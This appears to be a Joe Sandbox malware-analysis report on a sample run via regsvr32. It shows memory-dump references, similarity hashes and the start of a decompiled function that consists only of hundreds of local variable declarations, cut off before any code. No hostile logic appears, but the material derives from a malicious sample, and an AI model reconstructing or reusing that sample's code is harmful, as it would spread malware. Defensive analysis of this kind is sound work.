Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: aa74449e711b15ecfeaf854f888ee3ae3eed18c844887d77b6a7e3fc9fdbdd11
Instruction ID: 60906b89936dbca54eb6b19d8c4dc0179b35ebeaa8abfa276392bf49931ff865
Opcode Fuzzy Hash: aa74449e711b15ecfeaf854f888ee3ae3eed18c844887d77b6a7e3fc9fdbdd11
Instruction Fuzzy Hash: 70518C36605F848ADB42CF26E84035E77A4F789B99F944216DF8D8BB69DF38C941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1000821C Relevance: 2135.9, APIs: 1, Strings: 1218, Instructions: 2680
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E1000821C(signed int __ebx, void* __edx, void* __edi, void* __ebp, void* __esp, long long __rcx, void* __rdx, void* __r8, void* __r9) {
				signed int _v40;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v373;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				intOrPtr _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v401;
				char _v402;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				intOrPtr _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v441;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				char _v461;
				char _v462;
				char _v463;
				char _v464;
				char _v465;
				char _v466;
				char _v467;
				char _v468;
				char _v469;
				char _v470;
				char _v471;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				char _v478;
				char _v479;
				char _v480;
				char _v481;
				char _v482;
				char _v483;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v489;
				char _v490;
				char _v491;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v497;
				char _v498;
				char _v499;
				char _v500;
				char _v501;
				char _v502;
				char _v503;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v513;
				char _v514;
				char _v515;
				char _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				intOrPtr _v528;
				char _v529;
				char _v530;
				char _v531;
				intOrPtr _v532;
				char _v533;
				char _v534;
				char _v535;
				char _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char _v541;
				char _v542;
				char _v543;
				char _v544;
				char _v545;
				char _v546;
				char _v547;
				char _v548;
				intOrPtr _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v553;
				char _v554;
				char _v555;
				char _v556;
				char _v557;
				char _v558;
				char _v559;
				char _v560;
				char _v561;
				char _v562;
				char _v563;
				char _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v613;
				char _v614;
				char _v615;
				char _v616;
				char _v617;
				char _v618;
				char _v619;
				char _v620;
				char _v621;
				char _v622;
				char _v623;
				char _v624;
				char _v625;
				char _v626;
				char _v627;
				char _v628;
				char _v629;
				char _v630;
				char _v631;
				char _v632;
				char _v633;
				char _v634;
				char _v635;
				char _v636;
				char _v637;
				char _v638;
				char _v639;
				char _v640;
				char _v641;
				char _v642;
				char _v643;
				char _v644;
				char _v645;
				char _v646;
				char _v647;
				char _v648;
				char _v649;
				char _v650;
				char _v651;
				char _v652;
				char _v653;
				char _v654;
				char _v655;
				char _v656;
				char _v657;
				char _v658;
				char _v659;
				char _v660;
				char _v661;
				char _v662;
				char _v663;
				char _v664;
				char _v665;
				char _v666;
				char _v667;
				char _v668;
				char _v669;
				char _v670;
				char _v671;
				char _v672;
				char _v673;
				char _v674;
				char _v675;
				char _v676;
				char _v677;
				char _v678;
				char _v679;
				char _v680;
				char _v681;
				char _v682;
				char _v683;
				char _v684;
				char _v685;
				char _v686;
				char _v687;
				char _v688;
				char _v689;
				char _v690;
				char _v691;
				char _v692;
				char _v693;
				char _v694;
				char _v695;
				char _v696;
				char _v697;
				char _v698;
				char _v699;
				char _v700;
				char _v701;
				char _v702;
				char _v703;
				char _v704;
				char _v705;
				char _v706;
				char _v707;
				char _v708;
				char _v709;
				char _v710;
				char _v711;
				char _v712;
				char _v713;
				char _v714;
				char _v715;
				char _v716;
				char _v717;
				char _v718;
				char _v719;
				char _v720;
				char _v721;
				char _v722;
				char _v723;
				char _v724;
				char _v725;
				char _v726;
				char _v727;
				char _v728;
				char _v729;
				char _v730;
				char _v731;
				char _v732;
				char _v733;
				char _v734;
				char _v735;
				char _v736;
				char _v737;
				char _v738;
				char _v739;
				char _v740;
				char _v741;
				char _v742;
				char _v743;
				char _v744;
				char _v745;
				char _v746;
				char _v747;
				char _v748;
				char _v749;
				char _v750;
				char _v751;
				char _v752;
				char _v753;
				char _v754;
				char _v755;
				char _v756;
				char _v757;
				char _v758;
				intOrPtr _v759;
				char _v760;
				char _v761;
				char _v762;
				char _v763;
				char _v764;
				char _v765;
				char _v766;
				char _v767;
				char _v768;
				char _v769;
				char _v770;
				char _v771;
				char _v772;
				char _v773;
				char _v774;
				char _v775;
				char _v776;
				char _v777;
				char _v778;
				char _v779;
				char _v780;
				char _v781;
				char _v782;
				char _v783;
				char _v784;
				char _v785;
				char _v786;
				char _v787;
				char _v788;
				char _v789;
				char _v790;
				char _v791;
				char _v792;
				char _v793;
				char _v794;
				char _v795;
				char _v796;
				char _v797;
				char _v798;
				char _v799;
				char _v800;
				char _v801;
				char _v802;
				char _v803;
				char _v804;
				char _v805;
				char _v806;
				char _v807;
				char _v808;
				char _v809;
				char _v810;
				char _v811;
				char _v812;
				char _v813;
				char _v814;
				char _v815;
				char _v816;
				char _v817;
				char _v818;
				char _v819;
				char _v820;
				char _v821;
				char _v822;
				char _v823;
				char _v824;
				char _v825;
				char _v826;
				char _v827;
				char _v828;
				char _v829;
				char _v830;
				char _v831;
				char _v832;
				char _v833;
				char _v834;
				char _v835;
				char _v836;
				char _v837;
				char _v838;
				char _v839;
				char _v840;
				char _v841;
				char _v842;
				char _v843;
				char _v844;
				char _v845;
				char _v846;
				char _v847;
				char _v848;
				char _v849;
				char _v850;
				char _v851;
				char _v852;
				char _v853;
				char _v854;
				char _v855;
				char _v856;
				char _v857;
				char _v858;
				char _v859;
				char _v860;
				char _v861;
				char _v862;
				char _v863;
				intOrPtr _v864;
				char _v865;
				char _v866;
				char _v867;
				char _v868;
				char _v869;
				char _v870;
				char _v871;
				char _v872;
				char _v873;
				char _v874;
				char _v875;
				char _v876;
				char _v877;
				char _v878;
				char _v879;
				char _v880;
				char _v881;
				char _v882;
				char _v883;
				char _v884;
				char _v885;
				char _v886;
				char _v887;
				char _v888;
				char _v889;
				char _v890;
				char _v891;
				char _v892;
				char _v893;
				char _v894;
				char _v895;
				char _v896;
				char _v897;
				char _v898;
				char _v899;
				char _v900;
				char _v901;
				char _v902;
				char _v903;
				char _v904;
				char _v905;
				char _v906;
				char _v907;
				char _v908;
				char _v909;
				char _v910;
				char _v911;
				char _v912;
				char _v913;
				char _v914;
				char _v915;
				char _v916;
				char _v917;
				char _v918;
				char _v919;
				char _v920;
				char _v921;
				char _v922;
				char _v923;
				char _v924;
				char _v925;
				char _v926;
				char _v927;
				char _v928;
				char _v929;
				char _v930;
				char _v931;
				char _v932;
				char _v933;
				char _v934;
				char _v935;
				char _v936;
				char _v937;
				char _v938;
				char _v939;
				char _v940;
				char _v941;
				char _v942;
				char _v943;
				char _v944;
				char _v945;
				char _v946;
				char _v947;
				char _v948;
				char _v949;
				char _v950;
				char _v951;
				char _v952;
				char _v953;
				char _v954;
				char _v955;
				char _v956;
				char _v957;
				char _v958;
				char _v959;
				char _v960;
				char _v961;
				char _v962;
				char _v963;
				char _v964;
				char _v965;
				char _v966;
				char _v967;
				char _v968;
				char _v969;
				char _v970;
				char _v971;
				char _v972;
				char _v973;
				char _v974;
				char _v975;
				char _v976;
				char _v977;
				char _v978;
				char _v979;
				char _v980;
				char _v981;
				char _v982;
				char _v983;
				char _v984;
				char _v985;
				char _v986;
				char _v987;
				char _v988;
				char _v989;
				char _v990;
				char _v991;
				char _v992;
				char _v993;
				char _v994;
				char _v995;
				char _v996;
				char _v997;
				char _v998;
				char _v999;
				char _v1000;
				char _v1001;
				char _v1002;
				char _v1003;
				char _v1004;
				char _v1005;
				char _v1006;
				char _v1007;
				char _v1008;
				char _v1009;
				char _v1010;
				char _v1011;
				char _v1012;
				char _v1013;
				char _v1014;
				char _v1015;
				char _v1016;
				char _v1017;
				char _v1018;
				char _v1019;
				char _v1020;
				char _v1021;
				char _v1022;
				char _v1023;
				char _v1024;
				char _v1025;
				char _v1026;
				char _v1027;
				char _v1028;
				char _v1029;
				char _v1030;
				char _v1031;
				char _v1032;
				char _v1033;
				char _v1034;
				char _v1035;
				char _v1036;
				char _v1037;
				char _v1038;
				char _v1039;
				char _v1040;
				char _v1041;
				char _v1042;
				char _v1043;
				char _v1044;
				char _v1045;
				char _v1046;
				char _v1047;
				char _v1048;
				char _v1049;
				char _v1050;
				char _v1051;
				char _v1052;
				char _v1053;
				char _v1054;
				char _v1055;
				char _v1056;
				char _v1057;
				char _v1058;
				char _v1059;
				char _v1060;
				char _v1061;
				char _v1062;
				char _v1063;
				char _v1064;
				char _v1065;
				char _v1066;
				char _v1067;
				char _v1068;
				char _v1069;
				char _v1070;
				char _v1071;
				char _v1072;
				char _v1073;
				char _v1074;
				char _v1075;
				char _v1076;
				char _v1077;
				char _v1078;
				char _v1079;
				char _v1080;
				char _v1081;
				char _v1082;
				char _v1083;
				char _v1084;
				char _v1085;
				char _v1086;
				char _v1087;
				char _v1088;
				char _v1089;
				char _v1090;
				char _v1091;
				char _v1092;
				char _v1093;
				char _v1094;
				char _v1095;
				char _v1096;
				char _v1097;
				char _v1098;
				intOrPtr _v1099;
				char _v1100;
				char _v1101;
				char _v1102;
				char _v1103;
				char _v1104;
				char _v1105;
				char _v1106;
				char _v1107;
				char _v1108;
				char _v1109;
				char _v1110;
				char _v1111;
				char _v1112;
				char _v1113;
				char _v1114;
				char _v1115;
				char _v1116;
				char _v1117;
				char _v1118;
				char _v1119;
				char _v1120;
				char _v1121;
				char _v1122;
				char _v1123;
				char _v1124;
				char _v1125;
				char _v1126;
				char _v1127;
				char _v1128;
				char _v1129;
				char _v1130;
				char _v1131;
				char _v1132;
				char _v1133;
				char _v1134;
				char _v1135;
				char _v1136;
				char _v1137;
				char _v1138;
				char _v1139;
				char _v1140;
				char _v1141;
				char _v1142;
				char _v1143;
				char _v1144;
				char _v1145;
				char _v1146;
				char _v1147;
				char _v1148;
				char _v1149;
				char _v1150;
				char _v1151;
				char _v1152;
				char _v1153;
				char _v1154;
				char _v1155;
				char _v1156;
				char _v1157;
				char _v1158;
				char _v1159;
				char _v1160;
				char _v1161;
				char _v1162;
				char _v1163;
				char _v1164;
				char _v1165;
				char _v1166;
				char _v1167;
				char _v1168;
				char _v1169;
				char _v1170;
				char _v1171;
				char _v1172;
				char _v1173;
				char _v1174;
				char _v1175;
				char _v1176;
				char _v1177;
				char _v1178;
				char _v1179;
				char _v1180;
				char _v1181;
				char _v1182;
				char _v1183;
				char _v1184;
				char _v1185;
				char _v1186;
				char _v1187;
				char _v1188;
				char _v1189;
				char _v1190;
				char _v1191;
				char _v1192;
				char _v1193;
				char _v1194;
				char _v1195;
				char _v1196;
				char _v1197;
				char _v1198;
				char _v1199;
				char _v1200;
				char _v1201;
				char _v1202;
				char _v1203;
				char _v1204;
				char _v1205;
				char _v1206;
				char _v1207;
				char _v1208;
				char _v1209;
				char _v1210;
				char _v1211;
				char _v1212;
				char _v1213;
				char _v1214;
				char _v1215;
				char _v1216;
				char _v1217;
				char _v1218;
				char _v1219;
				char _v1220;
				intOrPtr _v1221;
				char _v1222;
				char _v1223;
				char _v1224;
				char _v1225;
				char _v1226;
				char _v1227;
				char _v1228;
				char _v1229;
				char _v1230;
				char _v1231;
				char _v1232;
				char _v1233;
				char _v1234;
				char _v1235;
				char _v1236;
				char _v1237;
				char _v1238;
				char _v1239;
				char _v1240;
				char _v1241;
				char _v1242;
				char _v1243;
				char _v1244;
				char _v1245;
				char _v1246;
				char _v1247;
				char _v1248;
				char _v1249;
				char _v1250;
				char _v1251;
				char _v1252;
				char _v1253;
				char _v1254;
				char _v1255;
				char _v1256;
				char _v1257;
				char _v1258;
				char _v1259;
				char _v1260;
				char _v1261;
				char _v1262;
				char _v1263;
				char _v1264;
				char _v1265;
				char _v1266;
				char _v1267;
				char _v1268;
				char _v1269;
				char _v1270;
				char _v1271;
				char _v1272;
				char _v1273;
				char _v1274;
				char _v1275;
				char _v1276;
				char _v1277;
				char _v1278;
				char _v1279;
				char _v1280;
				char _v1281;
				char _v1282;
				char _v1283;
				char _v1284;
				char _v1285;
				char _v1286;
				char _v1287;
				char _v1288;
				char _v1289;
				char _v1290;
				char _v1291;
				char _v1292;
				char _v1293;
				char _v1294;
				char _v1295;
				char _v1296;
				char _v1297;
				char _v1298;
				char _v1299;
				char _v1300;
				char _v1301;
				char _v1302;
				char _v1303;
				char _v1304;
				intOrPtr _v1305;
				char _v1306;
				char _v1307;
				char _v1308;
				intOrPtr _v1309;
				char _v1310;
				char _v1311;
				char _v1312;
				char _v1313;
				char _v1314;
				char _v1315;
				char _v1316;
				char _v1317;
				char _v1318;
				char _v1319;
				char _v1320;
				char _v1321;
				char _v1322;
				char _v1323;
				char _v1324;
				char _v1325;
				char _v1326;
				char _v1327;
				char _v1328;
				char _v1329;
				char _v1330;
				char _v1331;
				char _v1332;
				char _v1333;
				char _v1334;
				char _v1335;
				char _v1336;
				char _v1337;
				char _v1338;
				char _v1339;
				char _v1340;
				char _v1341;
				char _v1342;
				char _v1343;
				char _v1344;
				char _v1345;
				char _v1346;
				char _v1347;
				char _v1348;
				char _v1349;
				char _v1350;
				char _v1351;
				char _v1352;
				char _v1353;
				char _v1354;
				char _v1355;
				char _v1356;
				char _v1357;
				char _v1358;
				char _v1359;
				char _v1360;
				char _v1361;
				char _v1362;
				char _v1363;
				char _v1364;
				char _v1365;
				char _v1366;
				char _v1367;
				char _v1368;
				char _v1369;
				char _v1370;
				char _v1371;
				char _v1372;
				char _v1373;
				char _v1374;
				char _v1375;
				char _v1376;
				char _v1377;
				char _v1378;
				char _v1379;
				char _v1380;
				char _v1381;
				char _v1382;
				char _v1383;
				char _v1384;
				char _v1385;
				char _v1386;
				char _v1387;
				char _v1388;
				char _v1389;
				char _v1390;
				char _v1391;
				char _v1392;
				char _v1393;
				char _v1394;
				char _v1395;
				char _v1396;
				intOrPtr _v1397;
				char _v1398;
				char _v1399;
				char _v1400;
				char _v1401;
				char _v1402;
				char _v1403;
				char _v1404;
				char _v1405;
				char _v1406;
				char _v1407;
				char _v1408;
				char _v1409;
				char _v1410;
				char _v1411;
				char _v1412;
				char _v1413;
				char _v1414;
				char _v1415;
				char _v1416;
				char _v1417;
				char _v1418;
				char _v1419;
				char _v1420;
				char _v1421;
				char _v1422;
				char _v1423;
				char _v1424;
				char _v1425;
				char _v1426;
				char _v1427;
				char _v1428;
				char _v1429;
				char _v1430;
				char _v1431;
				char _v1432;
				char _v1433;
				char _v1434;
				char _v1435;
				char _v1436;
				char _v1437;
				char _v1438;
				char _v1439;
				char _v1440;
				char _v1441;
				char _v1442;
				char _v1443;
				char _v1444;
				char _v1445;
				char _v1446;
				char _v1447;
				char _v1448;
				char _v1449;
				char _v1450;
				char _v1451;
				char _v1452;
				char _v1453;
				char _v1454;
				char _v1455;
				char _v1456;
				char _v1457;
				char _v1458;
				char _v1459;
				intOrPtr _v1460;
				char _v1461;
				char _v1462;
				char _v1463;
				char _v1464;
				char _v1465;
				char _v1466;
				char _v1467;
				char _v1468;
				char _v1469;
				char _v1470;
				char _v1471;
				char _v1472;
				char _v1473;
				char _v1474;
				char _v1475;
				char _v1476;
				char _v1477;
				char _v1478;
				char _v1479;
				char _v1480;
				char _v1481;
				char _v1482;
				char _v1483;
				char _v1484;
				char _v1485;
				char _v1486;
				char _v1487;
				char _v1488;
				char _v1489;
				char _v1490;
				char _v1491;
				char _v1492;
				char _v1493;
				char _v1494;
				char _v1495;
				char _v1496;
				char _v1497;
				char _v1498;
				char _v1499;
				char _v1500;
				char _v1501;
				char _v1502;
				char _v1503;
				char _v1504;
				char _v1505;
				char _v1506;
				char _v1507;
				char _v1508;
				char _v1509;
				char _v1510;
				char _v1511;
				char _v1512;
				char _v1513;
				char _v1514;
				char _v1515;
				char _v1516;
				char _v1517;
				char _v1518;
				char _v1519;
				char _v1520;
				char _v1521;
				char _v1522;
				char _v1523;
				char _v1524;
				char _v1525;
				char _v1526;
				char _v1527;
				char _v1528;
				char _v1529;
				char _v1530;
				char _v1531;
				char _v1532;
				char _v1533;
				char _v1534;
				char _v1535;
				char _v1536;
				char _v1537;
				char _v1538;
				char _v1539;
				char _v1540;
				char _v1541;
				char _v1542;
				char _v1543;
				char _v1544;
				char _v1545;
				char _v1546;
				char _v1547;
				char _v1548;
				char _v1549;
				char _v1550;
				char _v1551;
				char _v1552;
				char _v1553;
				char _v1554;
				char _v1555;
				char _v1556;
				char _v1557;
				char _v1558;
				char _v1559;
				char _v1560;
				char _v1561;
				char _v1562;
				char _v1563;
				char _v1564;
				char _v1565;
				char _v1566;
				char _v1567;
				char _v1568;
				char _v1569;
				char _v1570;
				char _v1571;
				char _v1572;
				char _v1573;
				char _v1574;
				char _v1575;
				char _v1576;
				char _v1577;
				char _v1578;
				char _v1579;
				char _v1580;
				char _v1581;
				char _v1582;
				char _v1583;
				char _v1584;
				char _v1585;
				char _v1586;
				char _v1587;
				char _v1588;
				char _v1589;
				char _v1590;
				char _v1591;
				char _v1592;
				char _v1593;
				char _v1594;
				char _v1595;
				char _v1596;
				char _v1597;
				char _v1598;
				char _v1599;
				char _v1600;
				char _v1601;
				char _v1602;
				char _v1603;
				char _v1604;
				char _v1605;
				char _v1606;
				char _v1607;
				char _v1608;
				char _v1609;
				char _v1610;
				char _v1611;
				char _v1612;
				char _v1613;
				char _v1614;
				char _v1615;
				char _v1616;
				char _v1617;
				char _v1618;
				char _v1619;
				char _v1620;
				char _v1621;
				char _v1622;
				char _v1623;
				char _v1624;
				char _v1625;
				char _v1626;
				char _v1627;
				char _v1628;
				char _v1629;
				char _v1630;
				char _v1631;
				char _v1632;
				char _v1633;
				char _v1634;
				char _v1635;
				char _v1636;
				char _v1637;
				char _v1638;
				char _v1639;
				char _v1640;
				char _v1641;
				char _v1642;
				char _v1643;
				char _v1644;
				char _v1645;
				char _v1646;
				char _v1647;
				char _v1648;
				char _v1649;
				char _v1650;
				char _v1651;
				char _v1652;
				char _v1653;
				char _v1654;
				char _v1655;
				char _v1656;
				char _v1657;
				char _v1658;
				char _v1659;
				char _v1660;
				char _v1661;
				char _v1662;
				char _v1663;
				char _v1664;
				char _v1665;
				char _v1666;
				char _v1667;
				char _v1668;
				char _v1669;
				char _v1670;
				char _v1671;
				char _v1672;
				char _v1673;
				char _v1674;
				char _v1675;
				char _v1676;
				char _v1677;
				char _v1678;
				char _v1679;
				char _v1680;
				char _v1681;
				char _v1682;
				char _v1683;
				char _v1684;
				char _v1685;
				char _v1686;
				char _v1687;
				char _v1688;
				char _v1689;
				char _v1690;
				char _v1691;
				char _v1692;
				char _v1693;
				char _v1694;
				char _v1695;
				char _v1696;
				char _v1697;
				char _v1698;
				char _v1699;
				char _v1700;
				char _v1701;
				char _v1702;
				char _v1703;
				char _v1704;
				char _v1705;
				char _v1706;
				char _v1707;
				char _v1708;
				char _v1709;
				char _v1710;
				char _v1711;
				char _v1712;
				char _v1713;
				char _v1714;
				char _v1715;
				char _v1716;
				char _v1717;
				char _v1718;
				char _v1719;
				char _v1720;
				char _v1721;
				char _v1722;
				char _v1723;
				char _v1724;
				intOrPtr _v1725;
				char _v1726;
				char _v1727;
				char _v1728;
				char _v1729;
				char _v1730;
				char _v1731;
				char _v1732;
				char _v1733;
				char _v1734;
				char _v1735;
				char _v1736;
				char _v1737;
				char _v1738;
				char _v1739;
				char _v1740;
				char _v1741;
				char _v1742;
				char _v1743;
				char _v1744;
				char _v1745;
				intOrPtr _v1746;
				char _v1747;
				char _v1748;
				char _v1749;
				char _v1750;
				char _v1751;
				char _v1752;
				char _v1753;
				char _v1754;
				char _v1755;
				char _v1756;
				char _v1757;
				char _v1758;
				char _v1759;
				char _v1760;
				char _v1761;
				char _v1762;
				char _v1763;
				char _v1764;
				char _v1765;
				char _v1766;
				char _v1767;
				char _v1768;
				char _v1769;
				char _v1770;
				char _v1771;
				char _v1772;
				char _v1773;
				char _v1774;
				char _v1775;
				char _v1776;
				char _v1777;
				char _v1778;
				char _v1779;
				char _v1780;
				char _v1781;
				char _v1782;
				char _v1783;
				char _v1784;
				char _v1785;
				char _v1786;
				char _v1787;
				char _v1788;
				char _v1789;
				char _v1790;
				char _v1791;
				char _v1792;
				char _v1793;
				char _v1794;
				char _v1795;
				char _v1796;
				char _v1797;
				char _v1798;
				char _v1799;
				char _v1800;
				char _v1801;
				char _v1802;
				char _v1803;
				char _v1804;
				char _v1805;
				char _v1806;
				char _v1807;
				char _v1808;
				char _v1809;
				char _v1810;
				char _v1811;
				char _v1812;
				char _v1813;
				char _v1814;
				char _v1815;
				char _v1816;
				char _v1817;
				char _v1818;
				char _v1819;
				char _v1820;
				char _v1821;
				char _v1822;
				char _v1823;
				char _v1824;
				char _v1825;
				char _v1826;
				char _v1827;
				char _v1828;
				char _v1829;
				char _v1830;
				char _v1831;
				char _v1832;
				char _v1833;
				char _v1834;
				char _v1835;
				char _v1836;
				char _v1837;
				char _v1838;
				char _v1839;
				char _v1840;
				char _v1841;
				char _v1842;
				char _v1843;
				char _v1844;
				char _v1845;
				char _v1846;
				char _v1847;
				char _v1848;
				char _v1849;
				char _v1850;
				char _v1851;
				char _v1852;
				char _v1853;
				char _v1854;
				char _v1855;
				char _v1856;
				char _v1857;
				char _v1858;
				char _v1859;
				char _v1860;
				char _v1861;
				char _v1862;
				char _v1863;
				char _v1864;
				char _v1865;
				char _v1866;
				char _v1867;
				char _v1868;
				char _v1869;
				char _v1870;
				char _v1871;
				char _v1872;
				char _v1873;
				char _v1874;
				char _v1875;
				char _v1876;
				char _v1877;
				char _v1878;
				char _v1879;
				char _v1880;
				char _v1881;
				char _v1882;
				char _v1883;
				char _v1884;
				char _v1885;
				char _v1886;
				char _v1887;
				char _v1888;
				char _v1889;
				char _v1890;
				char _v1891;
				char _v1892;
				char _v1893;
				char _v1894;
				char _v1895;
				char _v1896;
				char _v1897;
				char _v1898;
				char _v1899;
				char _v1900;
				char _v1901;
				char _v1902;
				char _v1903;
				char _v1904;
				char _v1905;
				char _v1906;
				char _v1907;
				char _v1908;
				char _v1909;
				char _v1910;
				char _v1911;
				char _v1912;
				char _v1913;
				char _v1914;
				char _v1915;
				char _v1916;
				char _v1917;
				char _v1918;
				char _v1919;
				char _v1920;
				char _v1921;
				char _v1922;
				char _v1923;
				char _v1924;
				char _v1925;
				char _v1926;
				intOrPtr _v1927;
				char _v1928;
				char _v1929;
				char _v1930;
				char _v1931;
				char _v1932;
				char _v1933;
				char _v1934;
				intOrPtr _v1935;
				char _v1936;
				char _v1937;
				char _v1938;
				char _v1939;
				char _v1940;
				char _v1941;
				char _v1942;
				char _v1943;
				char _v1944;
				char _v1945;
				char _v1946;
				char _v1947;
